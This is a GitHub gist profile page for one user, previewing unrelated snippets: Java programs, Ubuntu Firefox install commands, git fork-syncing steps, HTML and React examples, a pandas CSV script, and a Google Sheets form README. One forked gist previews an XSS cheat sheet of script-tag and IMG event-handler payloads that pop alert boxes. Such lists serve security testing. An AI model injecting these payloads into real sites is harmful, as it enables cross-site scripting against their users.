Skip to content

Instantly share code, notes, and snippets.

View kartset's full-sized avatar
:electron:
Why download when you can clone

Kartik Setia kartset

:electron:
Why download when you can clone
View GitHub Profile
class Triangle {
synchronized void drawTriangle(char ch) {
for(int i=0;i<5;i++) {
for(int j=0;j<5;j++) {
System.out.print(ch + " ");
}
System.out.print("\n");
}
@kartset
kartset / MainMenu.java
Created November 5, 2017 09:05
Main Menu of the project Student's Diary
import java.util.*;
public class MainMenu {
public static void main(String[] args) {
char search ='y';
Scanner s = new Scanner(System.in);
StudentDetails staticDetails = new StudentDetails();
int choice;
System.out.println("\t\tWelcome to the Student's Diary. Here you can record the activities of the students you are and can keep record of their progress.");
sudo add-apt-repository ppa:mozillateam/firefox-next
sudo apt update && sudo apt upgrade
sudo apt install firefox
@kartset
kartset / xss_vectors.txt
Created October 8, 2018 18:09 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@kartset
kartset / gist:af27db398087800d441246de2663cae2
Created January 2, 2019 20:50 — forked from CristinaSolana/gist:1885435
Keeping a fork up to date

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
@kartset
kartset / index.html
Created May 17, 2020 08:35
React JS Example // source https://jsbin.com/wafajif
<!DOCTYPE html>
<html>
<head>
<script src="http://fb.me/react-0.13.0.js"></script>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>React JS Example</title>
</head>
<body>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>My JavaScript Page</title>
</head>
<body>
<script>
var myCounter = 0;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Declare a Function</title>
</head>
<body>
<h1>Declare a function</h1>
<div>
@kartset
kartset / cv.py
Last active October 12, 2020 04:58
created a tool where if we update date time and it create a repetitive event to be updated on the csv
#give the path to the csv file as command line arguement
import pandas as pd
import numpy as np
import sys
print("\nPath to the csv file:", sys.argv[1])
df = pd.read_csv(sys.argv[1])
df['ATTENDEE'] = df['ATTENDEE'].str.replace(';', '/')
print("Enter Row No.:")
row_no = int(input())
@kartset
kartset / Google-Sheet-Form-Post.md
Created November 9, 2021 06:51 — forked from willpatera/Google-Sheet-Form-Post.md
Post to google spreadsheet from html form

Overview

This collection of files serves as a simple static demonstration of how to post to a google spreadsheet from an external html <form> following the example by Martin Hawksey

Depreciation Warning: This code is not maintained, and should be seen as reference implementation only. If you're looking to add features or update, fork the code and update as needed.

Run example

You should be able to just open index.html in your browser and test locally.